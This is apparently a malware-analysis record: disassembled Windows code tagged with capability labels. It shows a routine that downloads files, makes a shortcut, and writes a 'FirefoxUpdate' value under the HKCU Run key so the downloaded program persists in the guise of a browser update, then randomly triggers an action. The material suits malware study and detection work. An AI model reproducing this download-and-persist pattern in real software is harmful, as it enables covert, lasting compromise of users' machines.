Function at 0x140002f2e
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
call sym.CreateDirectories__
lea rax, [0x140110040]
mov rcx, rax
call sym.FileExists_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x140002f70
mov rax, qword [section..data]
lea rdx, [0x140110040]
mov rcx, rax
call sym.DownloadFile_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [0x140110060]
mov rcx, rax
call sym.FileExists_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x140002f9c
mov rax, qword [section..data]
lea rdx, [0x140110060]
mov rcx, rax
call sym.DownloadFile_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [0x1401100a0]
mov rcx, rax
call sym.FileExists_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x140002fcb
lea rax, [0x1401100a0]
mov rdx, rax
lea rax, [0x140110040]
mov rcx, rax
call sym.CreateShortcut_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [0x140110080]
mov rcx, rax
call sym.FileExists_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x140002ff7
mov rax, qword [str.0E_r_]
lea rdx, [0x140110080]
mov rcx, rax
call sym.DownloadFile_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [str._E_r_]
lea rdx, [rbp + 0xb8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x1400030fc
mov dword [rbp + 0xb4], 0x104
mov rax, qword [rbp + 0xb8]
lea rdx, [rbp + 0xb4]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.FirefoxUpdate
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x1400030e9
lea rax, [rbp + 0xef]
mov qword [rbp + 0x100], rax
nop
nop
lea rdx, [rbp + 0xef]
lea rax, [rbp + 0xc0]
mov r8, rdx
lea rdx, str.FirefoxUpdate
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xc0]
lea rdx, [0x140110060]
mov rcx, rax
call sym.CreateRegistryEntry_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov dword [rbp + 0xfc], 0xa
lea rdx, [rbp + 0xfc]
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x10c], edx
mov edx, dword [rbp + 0x10c]
imul edx, edx, 0x96
sub eax, edx
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jne 0x140002f3f
call sym.action__
jmp 0x140002f3f